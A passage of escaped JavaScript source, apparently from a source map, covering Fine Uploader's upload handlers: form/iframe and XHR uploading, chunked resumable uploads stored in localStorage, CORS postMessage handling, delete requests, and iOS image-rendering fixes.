Blob associated with the ID is related to a proxy s\n        isProxied: function(id) {\n            return !!(handler.getProxy && handler.getProxy(id));\n        },\n\n        getInput: function(id) {\n            if (handler.getInput) {\n                return handler.getInput(id);\n            }\n        },\n\n        reset: function() {\n            log(\"Resetting upload handler\");\n            controller.cancelAll();\n            connectionManager.reset();\n            handler.reset();\n        },\n\n        expunge: function(id) {\n            if (controller.isValid(id)) {\n                return handler.expunge(id);\n            }\n        },\n\n        /**\n         * Determine if the file exists.\n         */\n        isValid: function(id) {\n            return handler.isValid(id);\n        },\n\n        getResumableFilesData: function() {\n            if (handler.getResumableFilesData) {\n                return handler.getResumableFilesData();\n            }\n            return [];\n        },\n\n        /**\n         * This may or may not be implemented, depending on the handler.  For handlers where a third-party ID is\n         * available (such as the \"key\" for Amazon S3), this will return that value.  Otherwise, the return value\n         * will be undefined.\n         *\n         * @param id Internal file ID\n         * @returns {*} Some identifier used by a 3rd-party service involved in the upload process\n         */\n        getThirdPartyFileId: function(id) {\n            if (controller.isValid(id)) {\n                return handler.getThirdPartyFileId(id);\n            }\n        },\n\n        /**\n         * Attempts to pause the associated upload if the specific handler supports this and the file is \"valid\".\n         * @param id ID of the upload/file to pause\n         * @returns {boolean} true if the upload was paused\n         */\n        pause: function(id) {\n            if (controller.isResumable(id) && handler.pause && controller.isValid(id) && handler.pause(id)) {\n                connectionManager.free(id);\n                handler.moveInProgressToRemaining(id);\n                return true;\n            }\n            return false;\n        },\n\n        // True if the file is eligible for pause/resume.\n        isResumable: function(id) {\n            return !!handler.isResumable && handler.isResumable(id);\n        }\n    });\n\n    qq.extend(options, o);\n    log = options.log;\n    chunkingPossible = options.chunking.enabled && qq.supportedFeatures.chunking;\n    concurrentChunkingPossible = chunkingPossible && options.chunking.concurrent.enabled;\n\n    preventRetryResponse = (function() {\n        var response = {};\n\n        response[options.preventRetryParam] = true;\n\n        return response;\n    }());\n\n    upload.initHandler();\n};\n","/*globals qq */\n/*jshint -W117 */\nqq.WindowReceiveMessage = function(o) {\n    \"use strict\";\n\n    var options = {\n            log: function(message, level) {}\n        },\n        callbackWrapperDetachers = {};\n\n    qq.extend(options, o);\n\n    qq.extend(this, {\n        receiveMessage: function(id, callback) {\n            var onMessageCallbackWrapper = function(event) {\n                    callback(event.data);\n                };\n\n            if (window.postMessage) {\n                callbackWrapperDetachers[id] = qq(window).attach(\"message\", onMessageCallbackWrapper);\n            }\n            else {\n                log(\"iframe message passing not supported in this browser!\", \"error\");\n            }\n        },\n\n        stopReceivingMessages: function(id) {\n            if (window.postMessage) {\n                var detacher = callbackWrapperDetachers[id];\n                if (detacher) {\n                    detacher();\n                }\n            }\n        }\n    });\n};\n","/* globals qq */\n/**\n * Common APIs exposed to creators of upload via form/iframe handlers.  This is reused and possibly overridden\n * in some cases by specific form upload handlers.\n *\n * @constructor\n */\nqq.FormUploadHandler = function(spec) {\n    \"use strict\";\n\n    var options = spec.options,\n        handler = this,\n        proxy = spec.proxy,\n        formHandlerInstanceId = qq.getUniqueId(),\n        onloadCallbacks = {},\n        detachLoadEvents = {},\n        postMessageCallbackTimers = {},\n        isCors = options.isCors,\n        inputName = options.inputName,\n        getUuid = proxy.getUuid,\n        log = proxy.log,\n        corsMessageReceiver = new qq.WindowReceiveMessage({log: log});\n\n    /**\n     * Remove any trace of the file from the handler.\n     *\n     * @param id ID of the associated file\n     */\n    function expungeFile(id) {\n        delete detachLoadEvents[id];\n\n        // If we are dealing with CORS, we might still be waiting for a response from a loaded iframe.\n        // In that case, terminate the timer waiting for a message from the loaded iframe\n        // and stop listening for any more messages coming from this iframe.\n        if (isCors) {\n            clearTimeout(postMessageCallbackTimers[id]);\n            delete postMessageCallbackTimers[id];\n            corsMessageReceiver.stopReceivingMessages(id);\n        }\n\n        var iframe = document.getElementById(handler._getIframeName(id));\n        if (iframe) {\n            // To cancel request set src to something else.  We use src=\"javascript:false;\"\n            // because it doesn't trigger ie6 prompt on https\n            /* jshint scripturl:true */\n            iframe.setAttribute(\"src\", \"javascript:false;\");\n\n            qq(iframe).remove();\n        }\n    }\n\n    /**\n     * @param iframeName `document`-unique Name of the associated iframe\n     * @returns {*} ID of the associated file\n     */\n    function getFileIdForIframeName(iframeName) {\n        return iframeName.split(\"_\")[0];\n    }\n\n    /**\n     * Generates an iframe to be used as a target for upload-related form submits.  This also adds the iframe\n     * to the current `document`.  Note that the iframe is hidden from view.\n     *\n     * @param name Name of the iframe.\n     * @returns {HTMLIFrameElement} The created iframe\n     */\n    function initIframeForUpload(name) {\n        var iframe = qq.toElement(\"<iframe src='javascript:false;' name='\" + name + \"' />\");\n\n        iframe.setAttribute(\"id\", name);\n\n        iframe.style.display = \"none\";\n        document.body.appendChild(iframe);\n\n        return iframe;\n    }\n\n    /**\n     * If we are in CORS mode, we must listen for messages (containing the server response) from the associated\n     * iframe, since we cannot directly parse the content of the iframe due to cross-origin restrictions.\n     *\n     * @param iframe Listen for messages on this iframe.\n     * @param callback Invoke this callback with the message from the iframe.\n     */\n    function registerPostMessageCallback(iframe, callback) {\n        var iframeName = iframe.id,\n            fileId = getFileIdForIframeName(iframeName),\n            uuid = getUuid(fileId);\n\n        onloadCallbacks[uuid] = callback;\n\n        // When the iframe has loaded (after the server responds to an upload request)\n        // declare the attempt a failure if we don't receive a valid message shortly after the response comes in.\n        detachLoadEvents[fileId] = qq(iframe).attach(\"load\", function() {\n            if (handler.getInput(fileId)) {\n                log(\"Received iframe load event for CORS upload request (iframe name \" + iframeName + \")\");\n\n                postMessageCallbackTimers[iframeName] = setTimeout(function() {\n                    var errorMessage = \"No valid message received from loaded iframe for iframe name \" + iframeName;\n                    log(errorMessage, \"error\");\n                    callback({\n                        error: errorMessage\n                    });\n                }, 1000);\n            }\n        });\n\n        // Listen for messages coming from this iframe.  When a message has been received, cancel the timer\n        // that declares the upload a failure if a message is not received within a reasonable amount of time.\n        corsMessageReceiver.receiveMessage(iframeName, function(message) {\n            log(\"Received the following window message: '\" + message + \"'\");\n            var fileId = getFileIdForIframeName(iframeName),\n                response = handler._parseJsonResponse(message),\n                uuid = response.uuid,\n                onloadCallback;\n\n            if (uuid && onloadCallbacks[uuid]) {\n                log(\"Handling response for iframe name \" + iframeName);\n                clearTimeout(postMessageCallbackTimers[iframeName]);\n                delete postMessageCallbackTimers[iframeName];\n\n                handler._detachLoadEvent(iframeName);\n\n                onloadCallback = onloadCallbacks[uuid];\n\n                delete onloadCallbacks[uuid];\n                corsMessageReceiver.stopReceivingMessages(iframeName);\n                onloadCallback(response);\n            }\n            else if (!uuid) {\n                log(\"'\" + message + \"' does not contain a UUID - ignoring.\");\n            }\n        });\n    }\n\n    qq.extend(this, new qq.UploadHandler(spec));\n\n    qq.override(this, function(super_) {\n        return {\n            /**\n             * Adds File or Blob to the queue\n             **/\n            add: function(id, fileInput) {\n                super_.add(id, {input: fileInput});\n\n                fileInput.setAttribute(\"name\", inputName);\n\n                // remove file input from DOM\n                if (fileInput.parentNode) {\n                    qq(fileInput).remove();\n                }\n            },\n\n            expunge: function(id) {\n                expungeFile(id);\n                super_.expunge(id);\n            },\n\n            isValid: function(id) {\n                return super_.isValid(id) &&\n                    handler._getFileState(id).input !== undefined;\n            }\n        };\n    });\n\n    qq.extend(this, {\n        getInput: function(id) {\n            return handler._getFileState(id).input;\n        },\n\n        /**\n         * This function either delegates to a more specific message handler if CORS is involved,\n         * or simply registers a callback when the iframe has been loaded that invokes the passed callback\n         * after determining if the content of the iframe is accessible.\n         *\n         * @param iframe Associated iframe\n         * @param callback Callback to invoke after we have determined if the iframe content is accessible.\n         */\n        _attachLoadEvent: function(iframe, callback) {\n            /*jslint eqeq: true*/\n            var responseDescriptor;\n\n            if (isCors) {\n                registerPostMessageCallback(iframe, callback);\n            }\n            else {\n                detachLoadEvents[iframe.id] = qq(iframe).attach(\"load\", function() {\n                    log(\"Received response for \" + iframe.id);\n\n                    // when we remove iframe from dom\n                    // the request stops, but in IE load\n                    // event fires\n                    if (!iframe.parentNode) {\n                        return;\n                    }\n\n                    try {\n                        // fixing Opera 10.53\n                        if (iframe.contentDocument &&\n                            iframe.contentDocument.body &&\n                            iframe.contentDocument.body.innerHTML == \"false\") {\n                            // In Opera event is fired second time\n                            // when body.innerHTML changed from false\n                            // to server response approx. after 1 sec\n                            // when we upload file with iframe\n                            return;\n                        }\n                    }\n                    catch (error) {\n                        //IE may throw an \"access is denied\" error when attempting to access contentDocument on the iframe in some cases\n                        log(\"Error when attempting to access iframe during handling of upload response (\" + error.message + \")\", \"error\");\n                        responseDescriptor = {success: false};\n                    }\n\n                    callback(responseDescriptor);\n                });\n            }\n        },\n\n        /**\n         * Creates an iframe with a specific document-unique name.\n         *\n         * @param id ID of the associated file\n         * @returns {HTMLIFrameElement}\n         */\n        _createIframe: function(id) {\n            var iframeName = handler._getIframeName(id);\n\n            return initIframeForUpload(iframeName);\n        },\n\n        /**\n         * Called when we are no longer interested in being notified when an iframe has loaded.\n         *\n         * @param id Associated file ID\n         */\n        _detachLoadEvent: function(id) {\n            if (detachLoadEvents[id] !== undefined) {\n                detachLoadEvents[id]();\n                delete detachLoadEvents[id];\n            }\n        },\n\n        /**\n         * @param fileId ID of the associated file\n         * @returns {string} The `document`-unique name of the iframe\n         */\n        _getIframeName: function(fileId) {\n            return fileId + \"_\" + formHandlerInstanceId;\n        },\n\n        /**\n         * Generates a form element and appends it to the `document`.  When the form is submitted, a specific iframe is targeted.\n         * The name of the iframe is passed in as a property of the spec parameter, and must be unique in the `document`.  Note\n         * that the form is hidden from view.\n         *\n         * @param spec An object containing various properties to be used when constructing the form.  Required properties are\n         * currently: `method`, `endpoint`, `params`, `paramsInBody`, and `targetName`.\n         * @returns {HTMLFormElement} The created form\n         */\n        _initFormForUpload: function(spec) {\n            var method = spec.method,\n                endpoint = spec.endpoint,\n                params = spec.params,\n                paramsInBody = spec.paramsInBody,\n                targetName = spec.targetName,\n                form = qq.toElement(\"<form method='\" + method + \"' enctype='multipart/form-data'></form>\"),\n                url = endpoint;\n\n            if (paramsInBody) {\n                qq.obj2Inputs(params, form);\n            }\n            else {\n                url = qq.obj2url(params, endpoint);\n            }\n\n            form.setAttribute(\"action\", url);\n            form.setAttribute(\"target\", targetName);\n            form.style.display = \"none\";\n            document.body.appendChild(form);\n\n            return form;\n        },\n\n        /**\n         * @param innerHtmlOrMessage JSON message\n         * @returns {*} The parsed response, or an empty object if the response could not be parsed\n         */\n        _parseJsonResponse: function(innerHtmlOrMessage) {\n            var response = {};\n\n            try {\n                response = qq.parseJson(innerHtmlOrMessage);\n            }\n            catch (error) {\n                log(\"Error when attempting to parse iframe upload response (\" + error.message + \")\", \"error\");\n            }\n\n            return response;\n        }\n    });\n};\n","/* globals qq */\n/**\n * Common API exposed to creators of XHR handlers.  This is reused and possibly overriding in some cases by specific\n * XHR upload handlers.\n *\n * @constructor\n */\nqq.XhrUploadHandler = function(spec) {\n    \"use strict\";\n\n    var handler = this,\n        namespace = spec.options.namespace,\n        proxy = spec.proxy,\n        chunking = spec.options.chunking,\n        resume = spec.options.resume,\n        chunkFiles = chunking && spec.options.chunking.enabled && qq.supportedFeatures.chunking,\n        resumeEnabled = resume && spec.options.resume.enabled && chunkFiles && qq.supportedFeatures.resume,\n        getName = proxy.getName,\n        getSize = proxy.getSize,\n        getUuid = proxy.getUuid,\n        getEndpoint = proxy.getEndpoint,\n        getDataByUuid = proxy.getDataByUuid,\n        onUuidChanged = proxy.onUuidChanged,\n        onProgress = proxy.onProgress,\n        log = proxy.log;\n\n    function abort(id) {\n        qq.each(handler._getXhrs(id), function(xhrId, xhr) {\n            var ajaxRequester = handler._getAjaxRequester(id, xhrId);\n\n            xhr.onreadystatechange = null;\n            xhr.upload.onprogress = null;\n            xhr.abort();\n            ajaxRequester && ajaxRequester.canceled && ajaxRequester.canceled(id);\n        });\n    }\n\n    qq.extend(this, new qq.UploadHandler(spec));\n\n    qq.override(this, function(super_) {\n        return {\n            /**\n             * Adds File or Blob to the queue\n             **/\n            add: function(id, blobOrProxy) {\n                if (qq.isFile(blobOrProxy) || qq.isBlob(blobOrProxy)) {\n                    super_.add(id, {file: blobOrProxy});\n                }\n                else if (blobOrProxy instanceof qq.BlobProxy) {\n                    super_.add(id, {proxy: blobOrProxy});\n                }\n                else {\n                    throw new Error(\"Passed obj is not a File, Blob, or proxy\");\n                }\n\n                handler._initTempState(id);\n                resumeEnabled && handler._maybePrepareForResume(id);\n            },\n\n            expunge: function(id) {\n                abort(id);\n                handler._maybeDeletePersistedChunkData(id);\n                handler._clearXhrs(id);\n                super_.expunge(id);\n            }\n        };\n    });\n\n    qq.extend(this, {\n        // Clear the cached chunk `Blob` after we are done with it, just in case the `Blob` bytes are stored in memory.\n        clearCachedChunk: function(id, chunkIdx) {\n            delete handler._getFileState(id).temp.cachedChunks[chunkIdx];\n        },\n\n        clearXhr: function(id, chunkIdx) {\n            var tempState = handler._getFileState(id).temp;\n\n            if (tempState.xhrs) {\n                delete tempState.xhrs[chunkIdx];\n            }\n            if (tempState.ajaxRequesters) {\n                delete tempState.ajaxRequesters[chunkIdx];\n            }\n        },\n\n        // Called when all chunks have been successfully uploaded.  Expected promissory return type.\n        // This defines the default behavior if nothing further is required when all chunks have been uploaded.\n        finalizeChunks: function(id, responseParser) {\n            var lastChunkIdx = handler._getTotalChunks(id) - 1,\n                xhr = handler._getXhr(id, lastChunkIdx);\n\n            if (responseParser) {\n                return new qq.Promise().success(responseParser(xhr), xhr);\n            }\n\n            return new qq.Promise().success({}, xhr);\n        },\n\n        getFile: function(id) {\n            return handler.isValid(id) && handler._getFileState(id).file;\n        },\n\n        getProxy: function(id) {\n            return handler.isValid(id) && handler._getFileState(id).proxy;\n        },\n\n        /**\n         * @returns {Array} Array of objects containing properties useful to integrators\n         * when it is important to determine which files are potentially resumable.\n         */\n        getResumableFilesData: function() {\n            var resumableFilesData = [];\n\n            handler._iterateResumeRecords(function(key, uploadData) {\n                handler.moveInProgressToRemaining(null, uploadData.chunking.inProgress,  uploadData.chunking.remaining);\n\n                var data = {\n                    name: uploadData.name,\n                    remaining: uploadData.chunking.remaining,\n                    size: uploadData.size,\n                    uuid: uploadData.uuid\n                };\n\n                if (uploadData.key) {\n                    data.key = uploadData.key;\n                }\n\n                resumableFilesData.push(data);\n            });\n\n            return resumableFilesData;\n        },\n\n        isResumable: function(id) {\n            return !!chunking && handler.isValid(id) && !handler._getFileState(id).notResumable;\n        },\n\n        moveInProgressToRemaining: function(id, optInProgress, optRemaining) {\n            var inProgress = optInProgress || handler._getFileState(id).chunking.inProgress,\n                remaining = optRemaining || handler._getFileState(id).chunking.remaining;\n\n            if (inProgress) {\n                log(qq.format(\"Moving these chunks from in-progress {}, to remaining.\", JSON.stringify(inProgress)));\n                inProgress.reverse();\n                qq.each(inProgress, function(idx, chunkIdx) {\n                    remaining.unshift(chunkIdx);\n                });\n                inProgress.length = 0;\n            }\n        },\n\n        pause: function(id) {\n            if (handler.isValid(id)) {\n                log(qq.format(\"Aborting XHR upload for {} '{}' due to pause instruction.\", id, getName(id)));\n                handler._getFileState(id).paused = true;\n                abort(id);\n                return true;\n            }\n        },\n\n        reevaluateChunking: function(id) {\n            if (chunking && handler.isValid(id)) {\n                var state = handler._getFileState(id),\n                    totalChunks,\n                    i;\n\n                delete state.chunking;\n\n                state.chunking = {};\n                totalChunks = handler._getTotalChunks(id);\n                if (totalChunks > 1 || chunking.mandatory) {\n                    state.chunking.enabled = true;\n                    state.chunking.parts = totalChunks;\n                    state.chunking.remaining = [];\n\n                    for (i = 0; i < totalChunks; i++) {\n                        state.chunking.remaining.push(i);\n                    }\n\n                    handler._initTempState(id);\n                }\n                else {\n                    state.chunking.enabled = false;\n                }\n            }\n        },\n\n        updateBlob: function(id, newBlob) {\n            if (handler.isValid(id)) {\n                handler._getFileState(id).file = newBlob;\n            }\n        },\n\n        _clearXhrs: function(id) {\n            var tempState = handler._getFileState(id).temp;\n\n            qq.each(tempState.ajaxRequesters, function(chunkId) {\n                delete tempState.ajaxRequesters[chunkId];\n            });\n\n            qq.each(tempState.xhrs, function(chunkId) {\n                delete tempState.xhrs[chunkId];\n            });\n        },\n\n        /**\n         * Creates an XHR instance for this file and stores it in the fileState.\n         *\n         * @param id File ID\n         * @param optChunkIdx The chunk index associated with this XHR, if applicable\n         * @returns {XMLHttpRequest}\n         */\n        _createXhr: function(id, optChunkIdx) {\n            return handler._registerXhr(id, optChunkIdx, qq.createXhrInstance());\n        },\n\n        _getAjaxRequester: function(id, optChunkIdx) {\n            var chunkIdx = optChunkIdx == null ? -1 : optChunkIdx;\n            return handler._getFileState(id).temp.ajaxRequesters[chunkIdx];\n        },\n\n        _getChunkData: function(id, chunkIndex) {\n            var chunkSize = chunking.partSize,\n                fileSize = getSize(id),\n                fileOrBlob = handler.getFile(id),\n                startBytes = chunkSize * chunkIndex,\n                endBytes = startBytes + chunkSize >= fileSize ? fileSize : startBytes + chunkSize,\n                totalChunks = handler._getTotalChunks(id),\n                cachedChunks = this._getFileState(id).temp.cachedChunks,\n\n            // To work around a Webkit GC bug, we must keep each chunk `Blob` in scope until we are done with it.\n            // See https://github.com/Widen/fine-uploader/issues/937#issuecomment-41418760\n                blob = cachedChunks[chunkIndex] || qq.sliceBlob(fileOrBlob, startBytes, endBytes);\n\n            cachedChunks[chunkIndex] = blob;\n\n            return {\n                part: chunkIndex,\n                start: startBytes,\n                end: endBytes,\n                count: totalChunks,\n                blob: blob,\n                size: endBytes - startBytes\n            };\n        },\n\n        _getChunkDataForCallback: function(chunkData) {\n            return {\n                partIndex: chunkData.part,\n                startByte: chunkData.start + 1,\n                endByte: chunkData.end,\n                totalParts: chunkData.count\n            };\n        },\n\n        /**\n         * @param id File ID\n         * @returns {string} Identifier for this item that may appear in the browser's local storage\n         */\n        _getLocalStorageId: function(id) {\n            var formatVersion = \"5.0\",\n                name = getName(id),\n                size = getSize(id),\n                chunkSize = chunking.partSize,\n                endpoint = getEndpoint(id);\n\n            return qq.format(\"qq{}resume{}-{}-{}-{}-{}\", namespace, formatVersion, name, size, chunkSize, endpoint);\n        },\n\n        _getMimeType: function(id) {\n            return handler.getFile(id).type;\n        },\n\n        _getPersistableData: function(id) {\n            return handler._getFileState(id).chunking;\n        },\n\n        /**\n         * @param id ID of the associated file\n         * @returns {number} Number of parts this file can be divided into, or undefined if chunking is not supported in this UA\n         */\n        _getTotalChunks: function(id) {\n            if (chunking) {\n                var fileSize = getSize(id),\n                    chunkSize = chunking.partSize;\n\n                return Math.ceil(fileSize / chunkSize);\n            }\n        },\n\n        _getXhr: function(id, optChunkIdx) {\n            var chunkIdx = optChunkIdx == null ? -1 : optChunkIdx;\n            return handler._getFileState(id).temp.xhrs[chunkIdx];\n        },\n\n        _getXhrs: function(id) {\n            return handler._getFileState(id).temp.xhrs;\n        },\n\n        // Iterates through all XHR handler-created resume records (in local storage),\n        // invoking the passed callback and passing in the key and value of each local storage record.\n        _iterateResumeRecords: function(callback) {\n            if (resumeEnabled) {\n                qq.each(localStorage, function(key, item) {\n                    if (key.indexOf(qq.format(\"qq{}resume\", namespace)) === 0) {\n                        var uploadData = JSON.parse(item);\n                        callback(key, uploadData);\n                    }\n                });\n            }\n        },\n\n        _initTempState: function(id) {\n            handler._getFileState(id).temp = {\n                ajaxRequesters: {},\n                chunkProgress: {},\n                xhrs: {},\n                cachedChunks: {}\n            };\n        },\n\n        _markNotResumable: function(id) {\n            handler._getFileState(id).notResumable = true;\n        },\n\n        // Removes a chunked upload record from local storage, if possible.\n        // Returns true if the item was removed, false otherwise.\n        _maybeDeletePersistedChunkData: function(id) {\n            var localStorageId;\n\n            if (resumeEnabled && handler.isResumable(id)) {\n                localStorageId = handler._getLocalStorageId(id);\n\n                if (localStorageId && localStorage.getItem(localStorageId)) {\n                    localStorage.removeItem(localStorageId);\n                    return true;\n                }\n            }\n\n            return false;\n        },\n\n        // If this is a resumable upload, grab the relevant data from storage and items in memory that track this upload\n        // so we can pick up from where we left off.\n        _maybePrepareForResume: function(id) {\n            var state = handler._getFileState(id),\n                localStorageId, persistedData;\n\n            // Resume is enabled and possible and this is the first time we've tried to upload this file in this session,\n            // so prepare for a resume attempt.\n            if (resumeEnabled && state.key === undefined) {\n                localStorageId = handler._getLocalStorageId(id);\n                persistedData = localStorage.getItem(localStorageId);\n\n                // If we found this item in local storage, maybe we should resume it.\n                if (persistedData) {\n                    persistedData = JSON.parse(persistedData);\n\n                    // If we found a resume record but we have already handled this file in this session,\n                    // don't try to resume it & ensure we don't persist future check data\n                    if (getDataByUuid(persistedData.uuid)) {\n                        handler._markNotResumable(id);\n                    }\n                    else {\n                        log(qq.format(\"Identified file with ID {} and name of {} as resumable.\", id, getName(id)));\n\n                        onUuidChanged(id, persistedData.uuid);\n\n                        state.key = persistedData.key;\n                        state.chunking = persistedData.chunking;\n                        state.loaded = persistedData.loaded;\n                        state.attemptingResume = true;\n\n                        handler.moveInProgressToRemaining(id);\n                    }\n                }\n            }\n        },\n\n        // Persist any data needed to resume this upload in a new session.\n        _maybePersistChunkedState: function(id) {\n            var state = handler._getFileState(id),\n                localStorageId, persistedData;\n\n            // If local storage isn't supported by the browser, or if resume isn't enabled or possible, give up\n            if (resumeEnabled && handler.isResumable(id)) {\n                localStorageId = handler._getLocalStorageId(id);\n\n                persistedData = {\n                    name: getName(id),\n                    size: getSize(id),\n                    uuid: getUuid(id),\n                    key: state.key,\n                    chunking: state.chunking,\n                    loaded: state.loaded,\n                    lastUpdated: Date.now()\n                };\n\n                try {\n                    localStorage.setItem(localStorageId, JSON.stringify(persistedData));\n                }\n                catch (error) {\n                    log(qq.format(\"Unable to save resume data for '{}' due to error: '{}'.\", id, error.toString()), \"warn\");\n                }\n            }\n        },\n\n        _registerProgressHandler: function(id, chunkIdx, chunkSize) {\n            var xhr = handler._getXhr(id, chunkIdx),\n                name = getName(id),\n                progressCalculator = {\n                    simple: function(loaded, total) {\n                        var fileSize = getSize(id);\n\n                        if (loaded === total) {\n                            onProgress(id, name, fileSize, fileSize);\n                        }\n                        else {\n                            onProgress(id, name, (loaded >= fileSize ? fileSize - 1 : loaded), fileSize);\n                        }\n                    },\n\n                    chunked: function(loaded, total) {\n                        var chunkProgress = handler._getFileState(id).temp.chunkProgress,\n                            totalSuccessfullyLoadedForFile = handler._getFileState(id).loaded,\n                            loadedForRequest = loaded,\n                            totalForRequest = total,\n                            totalFileSize = getSize(id),\n                            estActualChunkLoaded = loadedForRequest - (totalForRequest - chunkSize),\n                            totalLoadedForFile = totalSuccessfullyLoadedForFile;\n\n                        chunkProgress[chunkIdx] = estActualChunkLoaded;\n\n                        qq.each(chunkProgress, function(chunkIdx, chunkLoaded) {\n                            totalLoadedForFile += chunkLoaded;\n                        });\n\n                        onProgress(id, name, totalLoadedForFile, totalFileSize);\n                    }\n                };\n\n            xhr.upload.onprogress = function(e) {\n                if (e.lengthComputable) {\n                    /* jshint eqnull: true */\n                    var type = chunkSize == null ? \"simple\" : \"chunked\";\n                    progressCalculator[type](e.loaded, e.total);\n                }\n            };\n        },\n\n        /**\n         * Registers an XHR transport instance created elsewhere.\n         *\n         * @param id ID of the associated file\n         * @param optChunkIdx The chunk index associated with this XHR, if applicable\n         * @param xhr XMLHttpRequest object instance\n         * @param optAjaxRequester `qq.AjaxRequester` associated with this request, if applicable.\n         * @returns {XMLHttpRequest}\n         */\n        _registerXhr: function(id, optChunkIdx, xhr, optAjaxRequester) {\n            var xhrsId = optChunkIdx == null ? -1 : optChunkIdx,\n                tempState = handler._getFileState(id).temp;\n\n            tempState.xhrs = tempState.xhrs || {};\n            tempState.ajaxRequesters = tempState.ajaxRequesters || {};\n\n            tempState.xhrs[xhrsId] = xhr;\n\n            if (optAjaxRequester) {\n                tempState.ajaxRequesters[xhrsId] = optAjaxRequester;\n            }\n\n            return xhr;\n        },\n\n        // Deletes any local storage records that are \"expired\".\n        _removeExpiredChunkingRecords: function() {\n            var expirationDays = resume.recordsExpireIn;\n\n            handler._iterateResumeRecords(function(key, uploadData) {\n                var expirationDate = new Date(uploadData.lastUpdated);\n\n                // transform updated date into expiration date\n                expirationDate.setDate(expirationDate.getDate() + expirationDays);\n\n                if (expirationDate.getTime() <= Date.now()) {\n                    log(\"Removing expired resume record with key \" + key);\n                    localStorage.removeItem(key);\n                }\n            });\n        },\n\n        /**\n         * Determine if the associated file should be chunked.\n         *\n         * @param id ID of the associated file\n         * @returns {*} true if chunking is enabled, possible, and the file can be split into more than 1 part\n         */\n        _shouldChunkThisFile: function(id) {\n            var state = handler._getFileState(id);\n\n            if (!state.chunking) {\n                handler.reevaluateChunking(id);\n            }\n\n            return state.chunking.enabled;\n        }\n    });\n};\n","/*globals qq, XMLHttpRequest*/\nqq.DeleteFileAjaxRequester = function(o) {\n    \"use strict\";\n\n    var requester,\n        options = {\n            method: \"DELETE\",\n            uuidParamName: \"qquuid\",\n            endpointStore: {},\n            maxConnections: 3,\n            customHeaders: function(id) {return {};},\n            paramsStore: {},\n            cors: {\n                expected: false,\n                sendCredentials: false\n            },\n            log: function(str, level) {},\n            onDelete: function(id) {},\n            onDeleteComplete: function(id, xhrOrXdr, isError) {}\n        };\n\n    qq.extend(options, o);\n\n    function getMandatedParams() {\n        if (options.method.toUpperCase() === \"POST\") {\n            return {\n                _method: \"DELETE\"\n            };\n        }\n\n        return {};\n    }\n\n    requester = qq.extend(this, new qq.AjaxRequester({\n        acceptHeader: \"application/json\",\n        validMethods: [\"POST\", \"DELETE\"],\n        method: options.method,\n        endpointStore: options.endpointStore,\n        paramsStore: options.paramsStore,\n        mandatedParams: getMandatedParams(),\n        maxConnections: options.maxConnections,\n        customHeaders: function(id) {\n            return options.customHeaders.get(id);\n        },\n        log: options.log,\n        onSend: options.onDelete,\n        onComplete: options.onDeleteComplete,\n        cors: options.cors\n    }));\n\n    qq.extend(this, {\n        sendDelete: function(id, uuid, additionalMandatedParams) {\n            var additionalOptions = additionalMandatedParams || {};\n\n            options.log(\"Submitting delete file request for \" + id);\n\n            if (options.method === \"DELETE\") {\n                requester.initTransport(id)\n                    .withPath(uuid)\n                    .withParams(additionalOptions)\n                    .send();\n            }\n            else {\n                additionalOptions[options.uuidParamName] = uuid;\n                requester.initTransport(id)\n                    .withParams(additionalOptions)\n                    .send();\n            }\n        }\n    });\n};\n","/*global qq, define */\n/*jshint strict:false,bitwise:false,nonew:false,asi:true,-W064,-W116,-W089 */\n/**\n * Mega pixel image rendering library for iOS6+\n *\n * Fixes iOS6+'s image file rendering issue for large size image (over mega-pixel),\n * which causes unexpected subsampling when drawing it in canvas.\n * By using this library, you can safely render the image with proper stretching.\n *\n * Copyright (c) 2012 Shinichi Tomita <shinichi.tomita@gmail.com>\n * Released under the MIT license\n *\n * Heavily modified by Widen for Fine Uploader\n */\n(function() {\n\n    /**\n     * Detect subsampling in loaded image.\n     * In iOS, larger images than 2M pixels may be subsampled in rendering.\n     */\n    function detectSubsampling(img) {\n        var iw = img.naturalWidth,\n            ih = img.naturalHeight,\n            canvas = document.createElement(\"canvas\"),\n            ctx;\n\n        if (iw * ih > 1024 * 1024) { // subsampling may happen over megapixel image\n            canvas.width = canvas.height = 1;\n            ctx = canvas.getContext(\"2d\");\n            ctx.drawImage(img, -iw + 1, 0);\n            // subsampled image becomes half smaller in rendering size.\n            // check alpha channel value to confirm image is covering edge pixel or not.\n            // if alpha value is 0 image is not covering, hence subsampled.\n            return ctx.getImageData(0, 0, 1, 1).data[3] === 0;\n        } else {\n            return false;\n        }\n    }\n\n    /**\n     * Detecting vertical squash in loaded image.\n     * Fixes a bug which squash image vertically while drawing into canvas for some images.\n     */\n    function detectVerticalSquash(img, iw, ih) {\n        var canvas = document.createElement(\"canvas\"),\n            sy = 0,\n            ey = ih,\n            py = ih,\n            ctx, data, alpha, ratio;\n\n        canvas.width = 1;\n        canvas.height = ih;\n        ctx = canvas.getContext(\"2d\");\n        ctx.drawImage(img, 0, 0);\n        data = ctx.getImageData(0, 0, 1, ih).data;\n\n        // search image edge pixel position in case it is squashed vertically.\n        while (py > sy) {\n            alpha = data[(py - 1) * 4 + 3];\n            if (alpha === 0) {\n                ey = py;\n            } else {\n                sy = py;\n            }\n            py = (ey + sy) >> 1;\n        }\n\n        ratio = (py / ih);\n        return (ratio === 0) ? 1 : ratio;\n    }\n\n    /**\n     * Rendering image element (with resizing) and get its data URL\n     */\n    function renderImageToDataURL(img, blob, options, doSquash) {\n        var canvas = document.createElement(\"canvas\"),\n            mime = options.mime || \"image/jpeg\",\n            promise = new qq.Promise();\n\n        renderImageToCanvas(img, blob, canvas, options, doSquash)\n            .then(function() {\n                promise.success(\n                    canvas.toDataURL(mime, options.quality || 0.8)\n                );\n            });\n\n        return promise;\n    }\n\n    function maybeCalculateDownsampledDimensions(spec) {\n        var maxPixels = 5241000; //iOS specific value\n\n        if (!qq.ios()) {\n            throw new qq.Error(\"Downsampled dimensions can only be reliably calculated for iOS!\");\n        }\n\n        if (spec.origHeight * spec.origWidth > maxPixels) {\n            return {\n                newHeight: Math.round(Math.sqrt(maxPixels * (spec.origHeight / spec.origWidth))),\n                newWidth: Math.round(Math.sqrt(maxPixels * (spec.origWidth / spec.origHeight)))\n            };\n        }\n    }\n\n    /**\n     * Rendering image element (with resizing) into the canvas element\n     */\n    function renderImageToCanvas(img, blob, canvas, options, doSquash) {\n        var iw = img.naturalWidth,\n            ih = img.naturalHeight,\n            width = options.width,\n            height = options.height,\n            ctx = canvas.getContext(\"2d\"),\n            promise = new qq.Promise(),\n            modifiedDimensions;\n\n        ctx.save();\n\n        if (options.resize) {\n            return renderImageToCanvasWithCustomResizer({\n                blob: blob,\n                canvas: canvas,\n                image: img,\n                imageHeight: ih,\n                